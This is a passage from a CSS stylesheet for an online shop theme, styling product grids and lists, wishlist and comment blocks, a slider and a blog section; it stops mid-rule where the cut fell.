#categories_block_top .sf-menu > li {

	position:static

}

#categories_block_top .sf-menu > li > ul {

	width:100%;

	top:60px;

	margin:0 20px

}

#categories_block_top .sf-menu > li > ul > li {

	display:block;

	float:left;

	width:20%;

	-webkit-box-sizing:border-box;

	-moz-box-sizing:border-box;

	box-sizing:border-box;

	padding:0 10px

}

#categories_block_top .sf-menu > li > ul > .category_thumb {

	display:block;

	clear:both;

	overflow:hidden;

	width:100%

}

#categories_block_top .sf-menu > li > ul > .category_thumb img {

	display:inline-block;

	width:33%

}

#categories_block_top .sf-menu > li h4 a {

	font-size:1.1em

}

#categories_block_top .sf-menu > li h4 a:before {

	display:none

}

#categories_block_top .sf-menu > li .main-level-submenus {

	position:relative;

	display:block !important;

	visibility:visible !important;

	top:0;

	background:none;

	box-shadow:none;

	padding:0;

	left:0

}

#categories_block_top .sf-menu .category_thumb {

	display:none

}

#categories_block_left li {

	position:relative

}

#categories_block_left li a {

	display:block;

	line-height:30px;

	padding:5px 0 5px 0;

	color:#666

}

#categories_block_left li span.grower {

	display:block;

	position:absolute;

	right:5px;

	top:5px;

	cursor:pointer;

	font-size:14px;

	font-family:"FontAwesome";

	text-shadow:none;

	font-weight:normal;

	opacity:1;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";

	color:inherit

}

#categories_block_left li span.grower.OPEN:before, #categories_block_left li span.grower.CLOSE:before {

	content:"\f147";

	display:block;

	vertical-align:middle;

	width:30px;

	height:30px;

	line-height:30px;

	text-align:center

}

#categories_block_left li span.grower.CLOSE:before {

	content:"\f196"

}

#categories_block_left li ul {

	padding-bottom:10px

}

#categories_block_left li li {

	padding:0 10px

}

#categories_block_left li li a {

	padding:0 30px 0 19px

}

#categories_block_left li li a:before {

	font-family:fontawesome;

	content:"\f105";

	margin-left:-12px;

	-webkit-transition:all 400ms ease;

	transition:all 400ms ease;

	opacity:0;

	filter:alpha(opacity=0)

}

#categories_block_left li li a:hover:before {

	margin-left:0;

	opacity:100;

	filter:alpha(opacity=10000)

}

#categories_block_left li li span.grower {

	top:1px

}

.facebook-fanbox {

	overflow-x :hidden

}

.shop-phone {

	float:left;

	padding:5px 0 10px;

	line-height:18px

}

@media (max-width:767px) {

.shop-phone {

display:none

}

}

.shop-phone i {

	font-size:21px;

	line-height:21px;

	padding-right:7px

}

#contact-link {

	float:right;

	border-left:1px solid #515151

}

@media (max-width:766px) {

#contact-link {

width:25%;

text-align:center

}

}

#contact-link a {

	display:block;

	font-weight:bold;

	padding:8px 10px 11px 10px;

	text-shadow:1px 1px rgba(0, 0, 0, 0.2);

	cursor:pointer;

	line-height:18px

}

@media (max-width:766px) {

#contact-link a {

font-size:11px;

padding-left:5px;

padding-right:5px

}

}

#contact-link a:hover, #contact-link a.active {

	background:#2b2b2b

}

@media (max-width:767px) {

#contact_block {

margin-bottom:20px

}

}

#contact_block .label {

	display:none

}

#contact_block .block_content {

	color:#888888

}

#contact_block p {

	margin-bottom:4px

}

#contact_block p.tel {

	margin-bottom:6px

}

#contact_block p.tel i {

	font-size:25px;

	vertical-align:-2px;

	padding-right:10px

}

.special-price {

	color:#f13340

}

.price-percent-reduction {

	color:#fff;

	font-size:14px;

	line-height:20px;

	padding:4px 7px;

	text-align:center;

	z-index:2;

	display:inline-block

}

.old-price {

	text-decoration:line-through

}

.new-box, .sale-box {

	display:block;

	height:54px;

	width:48px;

	position:absolute;

	top:10px;

	color:#fff;

	font-size:14px;

	z-index:9;

	overflow:hidden;

	line-height:46px;

	text-align:center;

	text-transform:uppercase

}

.new-box span, .sale-box span {

	font-size:0

}

.new-box {

	background:url(../images/icon_new.png) no-repeat 0 0;

	right:10px

}

.sale-box {

	background:url(../images/icon_sale.png) no-repeat 0 0;

	left:10px

}

.box {

	background:#fff;

	border:1px solid #e7e7e7;

	padding:14px 18px 13px;

	margin:0 0 30px 0;

	line-height:23px

}

.box.box-small {

	padding:9px 10px 9px 20px

}

.box.box-small .dark {

	padding-top:10px;

	padding-right:20px;

	margin-bottom:0;

	width:auto

}

.page-product-box {

	padding-bottom:10px;

	margin-top:20px;

	border:0;

	padding:0

}

.page-product-box .title_block {

	text-align:left;

	margin:0

}

.page-product-box .page-title-slider {

	margin-bottom:30px;

	width:100%

}

.product-box {

	width:178px;

	float:left

}

.product-box .product-image {

	border:1px solid #e7e4de;

	background:white;

	padding:5px;

	display:block;

	margin-bottom:11px

}

.product-box .product-image img {

	max-width:100%;

	width:100%;

	height:auto

}

ul.product_list h5 {

	font-size:15px;

	margin:0 0 10px;

	color:#444

}

ul.product_list .product-image-container {

	position:relative;

	z-index:1;

	text-align:center;

	padding:10px

}

ul.product_list .product-image-container .product_img_link {

	position:relative;

	z-index:1;

	display:block;

	overflow:hidden

}

ul.product_list .product-image-container .img_0 {

	position:absolute;

	z-index:8;

	-webkit-transition:all 0.5s ease 0s;

	transition:all 0.5s ease 0s;

	top:0;

	left:0;

	opacity:0;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=00)"

}

ul.product_list .product-image-container .img_1 {

	position:relative;

	z-index:5;

	-webkit-transition:all 0.5s ease 0s;

	transition:all 0.5s ease 0s

}

ul.product_list .product-image-container .quick-view-wrapper-mobile {

	display:inline-block;

	top:140px;

	right:-120px;

	-webkit-transition:all 0.9s ease 0s;

	transition:all 0.9s ease 0s

}

ul.product_list .product-image-container .quick-view-mobile {

	background:url(../images/icon_quickview.png) no-repeat 18px center #999999;

	background-position:8px 9px;

	display:block;

	height:36px;

	width:36px;

	color:#fff

}

ul.product_list .content_price .price {

	font-weight:bold;

	font-size:18px

}

ul.product_list .content_price .old-price {

	color:#909090;

	font-size:14px;

	display:inline-block;

	text-decoration:line-through;

	margin:0

}

ul.product_list .button-container {

	display:inline-block;

	margin:10px 0

}

ul.product_list .button-container .cart_button {

	background-color:#999;

	transition:0.3s all ease 0s;

	background:url(../images/icon_cart.png) no-repeat 12px center;

	top:35px;

	right:-30px;

	-webkit-transition:all 0.3s ease 0s;

	transition:all 0.3s ease 0s

}

ul.product_list .button-container > div {

	display:inline-block;

	padding:0;

	margin:0;

	cursor:pointer;

	vertical-align:middle

}

ul.product_list .button-container > div.wishlist {

	top:70px;

	right:-60px;

	-webkit-transition:all 0.5s ease 0s;

	transition:all 0.5s ease 0s

}

ul.product_list .button-container > div.compare {

	top:105px;

	right:-90px;

	-webkit-transition:all 0.7s ease 0s;

	transition:all 0.7s ease 0s

}

ul.product_list .button-container > div a {

	display:block;

	height:36px;

	width:36px;

	background-color:#999;

	background-position:8px 10px;

	background-repeat:no-repeat;

	transition:0.3s all ease 0s;

	border-radius:3px

}

ul.product_list .button-container > div a.addToWishlist {

	background-image:url(../images/icon_wishlist.png)

}

ul.product_list .button-container > div a.add_to_compare {

	background-image:url(../images/icon_compare.png)

}

ul.product_list .button-container > div a.lnk_view {

	background-image:url(../images/icon_link.png)

}

ul.product_list .color-list-container {

	padding:3px 3px 0;

	background:#e6e6e6;

	display:inline-block

}

ul.product_list .color-list-container .color_to_pick_list li {

	display:inline-block

}

ul.product_list .color-list-container .color_to_pick_list li a {

	display:block;

	width:16px;

	height:16px

}

ul.product_list .availability {

	display:inline-block;

	margin:0 0 0 20px;

	text-transform:capitalize

}

ul.product_list .availability .available-now {

	vertical-align:middle;

	width:48px;

	height:48px;

	background:url(../images/instock.png) no-repeat 0 0;

	text-indent:-100%;

	overflow:hidden;

	display:inline-block

}

ul.product_list .clr {

	margin-bottom:14px;

	clear:both

}

ul.product_list .comments_note {

	overflow:hidden;

	margin:0;

	margin-bottom:5px

}

ul.product_list .comments_note .star_content {

	display:inline-block;

	vertical-align:top

}

ul.product_list .product-container {

	position:relative;

	border:solid 1px #ddd;

	overflow:hidden;

	transition:right 0.3s ease 0s, background-color 0.2s ease 0s

}

ul.product_list .product-container:hover .btn-gn {

	right:7px !important

}

ul.product_list .product-container:hover .img_0 {

	opacity:1;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"

}

span.nb-comments {

	display:none

}

.comments_note span, .star_content {

	color:#333333

}

div.star {

	display:inline-block

}

div.star:after {

	content:"\f006";

	font-family:"FontAwesome";

	display:inline-block;

	color:#999;

	font-size:13px

}

div.star_on:after {

	content:"\f005";

	font-family:"FontAwesome";

	display:inline-block;

	color:#e41740;

	font-size:13px

}

.comments_advices li {

	display:inline-block

}

ul.product_list.grid {

	padding-bottom:15px

}

ul.product_list.grid .product-desc, ul.product_list.grid .availability, ul.product_list.grid .product-flags {

	display:none

}

ul.product_list.grid .color-list-container {

	display:none

}

ul.product_list.grid .product-container {

	margin:15px 0;

	padding:0;

	position:relative;

	z-index:1;

	background:#fff;

	min-height:342px !important

}

ul.product_list.grid .product-container .right-block {

	padding:10px;

	overflow:hidden

}

ul.product_list.grid .product-container.full {

	z-index:3;

	top:0;

	left:15px;

	position:absolute;

	width:90%

}

ul.product_list.grid .ajax_block_product {

	position:relative

}

ul.product_list.grid .ajax_block_product:hover .product-container.full {

	z-index:3

}

ul.product_list > li .product-container:hover {

	border:1px solid #aaa

}

ul.product_list.list {

	padding-bottom:15px

}

ul.product_list.list > li {

	margin:0

}

ul.product_list.list > li .product-container {

	border:none;

	margin:15px 0

}

ul.product_list.list > li .product-container .left-block .button-container {

	display:none

}

ul.product_list.list > li .product-container .product-image-container {

	border:solid 1px #ddd

}

ul.product_list.list > li .product-container h5 {

	font-size:20px

}

ul.product_list.list > li .product-container .comments_note {

	margin-bottom:5px

}

ul.product_list.list > li .product-container .comments_note .star_content {

	margin-top:-2px

}

ul.product_list.list > li .product-container .comments_note span.nb-comments {

	display:none;

	color:#666666;

	margin:2px 10px;

	direction:ltr

}

ul.product_list.list > li .product-container .comments_note span.nb-comments span {

	color:#666

}

ul.product_list.list > li .product-container .content_price {

	margin-bottom:10px

}

ul.product_list.list > li .product-container .content_price .old-price {

	margin:0 5px 10px

}

ul.product_list.list > li .product-container .product-desc {

	line-height:20px;

	margin-bottom:10px

}

ul.product_list.list > li .product-container .content_price .price {

	font-size:20px;

	font-weight:bold

}

ul.product_list.list > li .product-container .product-image-container .quick-view-wrapper-mobile {

	right:inherit !important;

	transform:scale(0);

	transition:0.3s;

	top:44%;

	left:43%

}

ul.product_list.list > li .product-container .product-image-container:hover {

	border-color:#aaaaaa

}

ul.product_list.list > li .product-container .product-image-container:hover .quick-view-wrapper-mobile {

	transform:scale(1)

}

ul.product_list.list > li .product-container .button-container .btn-gn {

	position:inherit !important

}

ul.product_list.list > li .product-container .button-container > div.wishlist, ul.product_list.list > li .product-container .button-container > div.compare {

	left:0;

	right:inherit

}

ul.product_list.list > li .product-container .button-container a.cart_button {

	left:0 !important;

	right:inherit !important;

	width:auto !important;

	text-indent:inherit !important;

	background-position:6px 8px !important;

	padding:0 8px 0 30px;

	text-transform:uppercase;

	font-size:100%;

	line-height:30px

}

ul.product_list.list > li .product-container:hover .button-container a.cart_button {

	left:0 !important;

	right:inherit !important

}

ul.product_list.list > li .product-container:hover .product-image-container .quick-view-wrapper-mobile {

	display:none

}

#index ul.product_list.tab-pane > li {

	padding-bottom:10px;

	margin-bottom:10px

}

.blockmanufacturer ul li {

	display:inline-block;

	border:solid 1px #e3e1e1;

	padding:0;

	margin:0 10px 10px 0

}

.blockmanufacturer ul li:nth-child(2n) {

margin-right:0

}

.blockmanufacturer ul li .logo_manufacturer {

	width:105px

}

.fancybox-inner {

	text-align:center

}

.fancybox-inner .compare_product_view, .fancybox-inner .wishlist_product_view {

	display:inline-block;

	margin-bottom:15px;

	border-radius:3px

}

.content_only #thumbs_list li {

	width:120px !important

}

.content_only span.view_scroll_spacer > a {

	top:50px

}

.content_only span.view_scroll_spacer > a#view_scroll_right {

	right:-8px

}

.content_only div.moreinfo_block .tab-content .product-box {

	width:238px !important

}

#newsletter_block_left {

	padding:7px;

	border:1px solid #ccc;

	background:#eee

}

#newsletter_block_left .title_block, #newsletter_block_left h4 {

	padding:0 0 12px 28px;

	color:#666;

	text-shadow:0 1px 0 #fff;

	background:url(../images/newsletter.png) no-repeat 0 0 transparent

}

#newsletter_block_left p {

	padding:0

}

#newsletter_block_left p.success_inline {

	color:#418B19;

	text-align:center;

	font-weight:bold

}

#newsletter_block_left p.warning_inline {

	color:#DA0F00;

	text-align:center;

	font-weight:bold

}

#newsletter_block_left input.inputNew {

	position:relative;

	top:-1px;

	padding:0 5px;

	height:20px;

	width:148px;

	border:1px solid #ccc;

	border-right:none;

	-moz-border-radius-topleft:3px;

	-moz-border-radius-bottomleft:3px;

	-webkit-border-radius-topleft:3px;

	-webkit-border-radius-bottomleft:3px;

	border-top-left-radius:3px;

	border-bottom-left-radius:3px;

	font-size:10px;

	color:#999

}

*:first-child+html #newsletter_block_left input.inputNew {

	position:static

}

#newsletter_block_left input.button_mini {

	position:relative;

	left:-2px;

	height:23px;

	width:24px;

	border:0;

	text-indent:-5000px;

	background:url(../images/bg_bt_newsletter_ok.png) no-repeat 0 0;

	cursor:pointer

}

*:first-child+html #newsletter_block_left input.button_mini {

	padding-left:24px !important

}

#viewed-products_block_left li.last_item {

	padding-bottom:0;

	margin-bottom:0;

	border-bottom:none

}

.bx-wrapper {

	position:relative;

	padding:0;

	zoom:1;

	margin:0 !important

}

.bx-wrapper img {

	max-width:100%;

	display:block

}

.bx-viewport {

	direction:ltr !important

}

.bx-wrapper .bx-pager, .bx-wrapper .bx-controls-auto {

	position:absolute;

	bottom:-30px;

	width:100%

}

.bx-wrapper .bx-loading {

	min-height:50px;

	background:url(../images/bx_loader.gif) center center no-repeat;

	height:100%;

	width:100%;

	position:absolute;

	top:0;

	left:0;

	z-index:2000;

	display:none

}

.bx-wrapper .bx-pager {

	text-align:center;

	font-size:.85em;

	font-family:Arial, Helvetica, sans-serif;

	font-weight:bold;

	color:#666;

	padding-top:20px

}

.bx-wrapper .bx-pager .bx-pager-item, .bx-wrapper .bx-controls-auto .bx-controls-auto-item {

	display:inline-block;

	zoom:1

}

.bx-wrapper .bx-pager.bx-default-pager a {

	text-indent:-9999px;

	display:block;

	width:10px;

	height:10px;

	margin:0 5px;

	background:#000;

	outline:0;

	-moz-border-radius:5px;

	-webkit-border-radius:5px;

	border-radius:5px

}

.bx-wrapper .bx-pager.bx-default-pager a:hover, .bx-wrapper .bx-pager.bx-default-pager a.active {

	background:#000

}

.bx-wrapper .bx-controls-direction a {

	margin-top:38px;

	height:20px;

	width:20px;

	line-height:0;

	position:absolute;

	top:40%;

	margin-top:-10px;

	font-size:0;

	overflow:hidden;

	outline:none;

	text-decoration:none

}

.bx-wrapper .bx-controls-direction a:before {

	padding-left:2px;

	color:#c0c0c0;

	font-family:"FontAwesome";

	font-size:20px;

	line-height:22px

}

.bx-wrapper .bx-controls-direction a:hover:before {

	color:#333

}

.bx-next {

	right:10px

}

.bx-next:before {

	content:"\f138"

}

.bx-prev {

	left:10px

}

.bx-prev:before {

	content:"\f137"

}

.bx-wrapper .bx-controls-direction a.disabled {

	display:none

}

.bx-wrapper .bx-controls-auto {

	text-align:center

}

.bx-wrapper .bx-controls-auto .bx-start {

	display:block;

	text-indent:-9999px;

	width:10px;

	height:11px;

	outline:0;

	background:url(../images/controls.png) -86px -11px no-repeat;

	margin:0 3px

}

.bx-wrapper .bx-controls-auto .bx-start:hover, .bx-wrapper .bx-controls-auto .bx-start.active {

	background-position:-86px 0

}

.bx-wrapper .bx-controls-auto .bx-stop {

	display:block;

	text-indent:-9999px;

	width:9px;

	height:11px;

	outline:0;

	background:url(../images/controls.png) -86px -44px no-repeat;

	margin:0 3px

}

.bx-wrapper .bx-controls-auto .bx-stop:hover, .bx-wrapper .bx-controls-auto .bx-stop.active {

	background-position:-86px -33px

}

.bx-wrapper .bx-controls.bx-has-controls-auto.bx-has-pager .bx-pager {

	text-align:left;

	width:80%

}

.bx-wrapper .bx-controls.bx-has-controls-auto.bx-has-pager .bx-controls-auto {

	right:0;

	width:35px

}

.bx-wrapper .bx-caption {

	position:absolute;

	bottom:0;

	left:0;

	background:#666;

	background:rgba(80, 80, 80, 0.75);

	width:100%

}

.bx-wrapper .bx-caption span {

	color:#fff;

	font-family:Arial, Helvetica, sans-serif;

	display:block;

	font-size:.85em;

	padding:10px

}

#featured-products_block_center li {

	margin-right:10px;

	padding:10px 0;

	width:126px;

	height:240px

}

#featured-products_block_center li.last_item_of_line {

	margin-right:0

}

#featured-products_block_center .s_title_block, #featured-products_block_center h5 {

	padding-top:5px;

	height:30px;

	min-height:30px;

	max-height:30px;

	overflow:hidden;

	font-size:12px;

	color:#222;

	padding-bottom:0;

	font-weight:bold

}

#featured-products_block_center .product_image {

	display:block;

	position:relative;

	overflow:hidden

}

#featured-products_block_center .product_image span.new {

	display:block;

	position:absolute;

	top:15px;

	right:-30px;

	padding:1px 4px;

	width:101px;

	font-size:10px;

	color:#fff;

	text-align:center;

	text-transform:uppercase;

	-moz-transform:rotate(45deg);

	-webkit-transform:rotate(45deg);

	-o-transform:rotate(45deg);

	-ms-transform:rotate(45deg);

	background-color:#990000;

	transform:rotate(45deg)

}

#featured-products_block_center .product_desc {

	height:45px;

	min-height:45px;

	max-height:45px;

	overflow:hidden

}

#featured-products_block_center .product_desc, #featured-products_block_center .product_desc a {

	color:#666

}

#featured-products_block_center .lnk_more {

	display:inline;

	padding-right:10px;

	font-weight:bold;

	font-size:10px;

	color:#0088cc;

	background:url(../images/arrow_right_1.png) no-repeat 100% 3px

}

#featured-products_block_center .price_container {

	margin-top:10px;

	padding:0

}

#featured-products_block_center .price {

	font-weight:bold;

	font-size:14px;

	color:#990000

}

#featured-products_block_center li .ajax_add_to_cart_button {

	display:none

}

#featured-products_block_center li span.exclusive {

	display:none

}

#wishlist_block #wishlist_block_list {

	margin:0 0 20px 0

}

#wishlist_block #wishlist_block_list dl {

	font-weight:400

}

#wishlist_block #wishlist_block_list dl.products.no-products {

	font-weight:700;

	padding:0 0 15px 0;

	border-bottom:1px solid #e6e6e6

}

#wishlist_block #wishlist_block_list dl.products.no-products dt {

	padding:0;

	border-top:none

}

#wishlist_block #wishlist_block_list dl.products.no-products dd {

	display:none

}

#wishlist_block #wishlist_block_list dl.products {

	border-bottom:1px solid #e6e6e6

}

#wishlist_block #wishlist_block_list dl.products dt {

	padding:20px 0 0;

	border-top:1px solid #e6e6e6

}

#wishlist_block #wishlist_block_list dl.products dd {

	padding:0 0 20px 0

}

#wishlist_block #wishlist_block_list dl.products dt.first_item {

	padding:0;

	border-top:none

}

#wishlist_block #wishlist_block_list dl dt {

	position:relative;

	padding-right:0

}

#wishlist_block #wishlist_block_list dl dd {

	margin:0 0 0 24px

}

#wishlist_block .lnk .form-group {

	margin:0 0 20px 0

}

#wishlist_block .lnk .form-group select {

	max-width:192px

}

#wishlist_block .ajax_cart_block_remove_link {

	font-size:14px;

	line-height:14px;

	color:#d3d2d2;

	width:14px;

	height:14px;

	float:right

}

#wishlist_block .ajax_cart_block_remove_link:hover {

	color:#f3734f

}

#wishlist_block .cart_block_product_name {

	width:85%;

	display:inline-block;

	font-weight:bold

}

#wishlist_block .quantity-formated {

	float:left;

	margin:0 5px 0 0;

	width:15px

}

#wishlist_block_list .price {

	float:right

}

#mywishlist td.wishlist_delete a {

	font-size:15px

}

#module-blockwishlist-mywishlist #block-order-detail #hideSendWishlist {

	display:inline-block

}

#module-blockwishlist-mywishlist .wishlistLinkTop ul.display_list {

	border-bottom:1px solid #e6e6e6;

	margin-bottom:20px

}

#module-blockwishlist-mywishlist .wishlistLinkTop ul.display_list li {

	margin:0;

	border:solid 1px #e6e6e6;

	border-bottom:none

}

#module-blockwishlist-mywishlist .wishlistLinkTop ul.display_list a {

	display:inline-block;

	color:#333;

	margin:10px;

	font-weight:bold

}

#module-blockwishlist-mywishlist .wishlistLinkTop ul.display_list a:hover {

	color:#f3734f

}

#module-blockwishlist-mywishlist .wishlistLinkTop li {

	float:left

}

#module-blockwishlist-mywishlist .wishlistLinkTop #hideSendWishlist {

	float:right

}

#module-blockwishlist-mywishlist .wishlistLinkTop #showBoughtProducts, #module-blockwishlist-mywishlist .wishlistLinkTop #hideBoughtProductsInfos {

	display:none

}

ul.wlp_bought_list {

	margin:0 -15px

}

ul.wlp_bought_list li {

	position:relative;

	z-index:2;

	margin:0;

	width:25%;

	padding:15px

}

ul.wlp_bought_list li .product-container {

	background:#fff;

	padding:15px;

	border:solid 1px #e6e6e6

}

ul.wlp_bought_list li .product_image {

	padding:0;

	margin:0 0 15px 0;

	position:relative;

	z-index:2

}

ul.wlp_bought_list li .product_image img {

	width:270px;

	height:270px

}

ul.wlp_bought_list li .product_name {

	margin:0;

	padding:0

}

ul.wlp_bought_list li .product_name small {

	display:block;

	font-size:11px

}

ul.wlp_bought_list li .product_name small a {

	font-size:11px

}

ul.wlp_bought_list li .product_infos {

	position:relative

}

.wishlistLinkTop .submit {

	margin:0 0 30px 0

}

ul.wlp_bought_list li .lnkdel {

	position:absolute;

	top:15px;

	right:15px;

	z-index:9;

	display:block;

	color:white;

	padding:5px 10px;

	font-size:14px

}

ul.wlp_bought_list li .lnkdel .fa {

	margin:0

}

ul.wlp_bought_list .btn_action {

	margin-top:20px

}

#product_comments_block_extra {

	margin:0 10px 15px;

	display:inline-block

}

#product_comments_block_extra .comments_note {

	margin-bottom:5px

}

#product_comments_block_extra .comments_note span, #product_comments_block_extra .star_content {

	float:left;

	color:#333

}

#product_comments_block_extra div.star {

	display:inline-block

}

#product_comments_block_extra div.star:after {

	content:"\f006";

	font-family:"FontAwesome";

	display:inline-block;

	color:#ccc;

	font-size:15px

}

#product_comments_block_extra div.star_on:after {

	content:"\f005";

	font-family:"FontAwesome";

	display:inline-block;

	color:#FFCC00;

	font-size:15px

}

#product_comments_block_extra .comments_advices {

	display:inline-block;

	vertical-align:middle

}

#product_comments_block_extra .comments_advices .reviews {

	border-right:solid 1px #666;

	padding-right:7px;

	margin:0 5px;

	color:#666

}

#product_comments_block_extra .comments_advices .open-comment-form {

	color:#666

}

.comments_advices li {

	display:inline-block

}

#fancybox-wrap {

	width:585px

}

#fancybox-content {

	width:585px;

	border-width:0

}

#new_comment_form {

	overflow:hidden;

	color:#333;

	text-align:left

}

#new_comment_form h2 {

	padding:0

}

#new_comment_form .title {

	padding:10px;

	font-size:13px;

	color:#fff;

	text-transform:uppercase;

	background:#333

}

#new_comment_form ul.grade_content {

	list-style-type:none;

	margin:0 0 20px 0

}

#new_comment_form ul.grade_content li {

	width:50%

}

#new_comment_form ul.grade_content span {

	display:inline-block;

	padding:0 10px;

	width:150px;

	font-weight:bold

}

#new_comment_form ul.grade_content .cancel {

	margin-right:5px

}

#new_comment_form .product {

	padding:15px

}

#new_comment_form .product img {

	border:1px solid #e7e4de

}

#new_comment_form .product .product_desc {

	line-height:18px;

	color:#666

}

#new_comment_form .product .product_desc .product_name {

	padding:10px 0 5px;

	font-size:13px;

	color:#000

}

#new_comment_form .new_comment_form_content {

	padding:5px 25px 15px 15px

}

#new_comment_form .new_comment_form_content .intro_form {

	padding-bottom:10px;

	font-weight:bold;

	font-size:12px

}

#new_comment_form label {

	display:block;

	margin:12px 0 4px 0;

	font-weight:bold;

	font-size:12px

}

#new_comment_form input, #new_comment_form textarea {

	padding:0 5px;

	height:28px;

	width:100%;

	border:1px solid #ccc;

	background:#fff

}

#new_comment_form textarea {

	height:80px

}

#new_comment_form .submit {

	margin-top:20px;

	padding:0;

	font-size:13px;

	text-align:right

}

#new_comment_form #criterions_list {

	list-style-type:none

}

#new_comment_form #criterions_list li {

	margin-bottom:10px

}

#new_comment_form #criterions_list label {

	display:inline;

	float:left;

	margin:0 10px 0 0

}

#new_comment_form #criterions_list .star_content {

	float:left

}

#new_comment_form #new_comment_form_footer {

	margin-top:20px;

	font-size:12px

}

#criterions_list .star_content div.star {

	float:left;

	cursor:pointer;

	margin-right:3px

}

#criterions_list .star_content div.star:after {

	content:"\f006";

	font-family:"FontAwesome";

	display:inline-block;

	color:#777676

}

#criterions_list .star_content div.star > a {

	display:none

}

#criterions_list .star_content div.star_on:after {

	content:"\f005";

	font-family:"FontAwesome";

	display:inline-block;

	color:#ef8743

}

#product_comments_block_tab {

	margin:0 0 20px 0

}

#product_comments_block_tab div.comment {

	padding-top:14px;

	border-top:1px solid #e6e6e6

}

#product_comments_block_tab div.comment:first-child {

	padding:0;

	border:none

}

#product_comments_block_tab div.comment .comment_author {

	line-height:18px

}

#product_comments_block_tab div.comment .comment_author span {

	font-weight:bold;

	display:block;

	margin-bottom:10px

}

#product_comments_block_tab div.comment .comment_author .star_content {

	display:inline-block;

	vertical-align:middle;

	margin:0

}

#product_comments_block_tab div.comment .comment_details {

	overflow:hidden;

	border-left:1px solid #e7e4de

}

#product_comments_block_tab div.comment .comment_details .title_block {

	font-size:16px

}

#product_comments_block_tab div.star {

	display:inline-block

}

#product_comments_block_tab div.star:after {

	content:"\f006";

	font-family:"FontAwesome";

	display:inline-block;

	color:#777676

}

#product_comments_block_tab div.star_on:after {

	content:"\f005";

	font-family:"FontAwesome";

	display:inline-block;

	color:#ef8743

}

#product_comments_block_tab .comment_author_infos {

	clear:both;

	padding-top:9px

}

#product_comments_block_tab .comment_author_infos strong {

	display:block;

	color:#333

}

#product_comments_block_tab .comment_author_infos em {

	color:#adadad

}

#product_comments_block_tab a {

	text-decoration:none;

	font-weight:bold

}

#product_comments_block_tab span {

	font-weight:normal

}

#product_comments_block_tab span.report_btn {

	cursor:pointer

}

#product_comments_block_tab span.report_btn:hover {

	text-decoration:underline

}

.fl {

	float:left

}

.fr {

	float:right

}

#smartblogcat {

	border:none;

	margin:0;

	padding:0

}

#smartblogcat .sdsarticleCat {

	margin-bottom:30px

}

#smartblogcat .sdsarticleCat .articleContent {

	float:left; 

	margin:0 0px 25px 0;

	overflow:hidden;

width: 20%;

        

}

#smartblogcat .sdsarticleCat .articleContent a {

	display:block;

	position:relative

}

#smartblogcat .sdsarticleCat .articleContent a:after {

	content:"";

	width:100%;

	height:100%;

	position:absolute;

	top:0;

	left:0;

	background:#000;

	opacity:0.5;

	transition:0.3s all ease 0s;

	transform:scale(0)

}

#smartblogcat .sdsarticleCat h2.sdstitle_block {

	font-size:16px;

	margin:0 0 5px

}

#smartblogcat .sdsarticleCat .date_add {

	font-size:14px;

	color:#909090;

	margin-bottom:10px;

	display:block

}

#smartblogcat .sdsarticleCat .date_add .fa {

	margin-right:5px

}

#smartblogcat .sdsarticleCat .sdsarticle-des {

	margin-bottom:14px

}

#smartblogcat .sdsarticleCat .sdsarticle-des span {

	line-height:1.5em

}

#smartblogcat .sdsarticleCat .blog-info {

	color:#909090;

	font-size:14px

}

#smartblogcat .sdsarticleCat .blog-info .comment {

	border-right:solid 1px #999;

	padding-right:5px;

	margin-right:3px

}

#smartblogcat .sdsarticleCat .blog-info .comment a {

	color:#909090

}

#smartblogcat .sdsarticleCat:hover .articleContent a:after {

	transform:scale(1)

}

#sdsblogArticle .page-item-title h1 {

	font-size:20px;

	color:#666;

	margin-bottom:5px;

	margin-top:0

}

#sdsblogArticle .articleContent {

	margin:20px 0 30px;

	text-align:center

}

#sdsblogArticle .dateCreated {

	color:#909090;

	font-size:12px;

	display:inline-block;

	margin-bottom:20px

}

#sdsblogArticle .post-info {

	font-style:italic

}

#submitComment {

	border-radius:0;

	color:#fff;

	background:#333;

	transition:0.3s all ease 0s;

	min-width:100px;

	border:none;

	padding:8px 20px

}

.commentList li {

	position:relative;

	padding:15px 0 15px 80px

}

.commentList li .avatar {

	position:absolute;

	left:0;

	top:18px;

	border:solid 1px #dfdfdf;

	border-radius:2px;

	background:#fff;

	padding:5px

}

.commentList li .name {

	font-size:14px;

	font-weight:bold;

	margin-bottom:5px

}

.commentList li .created {

	font-size:12px;

	font-style:italic;

	margin-bottom:5px;

	color:#999

}

.commentList li .reply a {

	font-style:italic;

	font-weight:bold;

	font-size:12px;

	text-decoration:underline

}

#commentInput table {

	font-size:13px

}

.pagination > li > a, .pagination > li > span {

	color:#999;

	transition:0.3s all ease 0s;

	border-radius:0 !important;

	background:#f4f4f4

}

.pagination > li {

	border-radius:0;

	display:inline-block;

	margin:0 3px

}

.post-page {

	text-align:center

}

.post-page .results {

	margin:5px 0;

	color:#999;

	display:none

}

#sdsblogCategory {

	display:none

}

#category_blog_block_left {

	display:inline-block;

	width:100%;

	margin-bottom:34px;

	padding:0 18px;

	border:1px solid #ddd

}

#category_blog_block_left h2.title_block {

	position:relative;

	border-bottom:3px solid;

	margin:-5px -19px 0 -19px;

	border-color:#ea3a3c;

	font-size:100%;

	padding:0

}

#category_blog_block_left h2.title_block:after {

	display:none

}

#category_blog_block_left h2.title_block strong {

	display:inline-block;

	font-size:133.33%;

	text-transform:uppercase;

	position:relative;

	color:#fff;

	line-height:37px;

	padding:0 18px;

	background-color:#ea3a3c

}

#category_blog_block_left h2.title_block strong:before {

	content:"";

	display:inline-block;

	position:absolute;

	right:-20px;

	top:0;

	width:0;

	height:0;

	border-right:20px solid transparent;

	border-bottom:37px solid #ea3a3c

}

#category_blog_block_left .block_content {

	padding:20px 0

}

#category_blog_block_left .block_content ul li {

	padding:0

}

#category_blog_block_left .block_content ul li a {

	padding:7px 3px 7px;

	display:block;

	border-bottom:1px dotted #ddd

}

.block.lastestnews .bx-controls {

	position:absolute;

	top:-20px;

	right:0

}

.block.lastestnews .bx-wrapper .bx-controls-direction a {

	width:17px;

	height:30px;

	text-align:center;

	display:inline-block;

	line-height:30px;

	font-size:0;

	cursor:pointer;

	color:#999999;

	background:transparent;

	opacity:1

}

.block.lastestnews .bx-wrapper .bx-controls-direction a:before {

	color:#999999

}

.block.lastestnews .bx-wrapper .bx-controls-direction a.bx-next {

	right:5px

}

.block.lastestnews .bx-wrapper .bx-controls-direction a.bx-next:before {

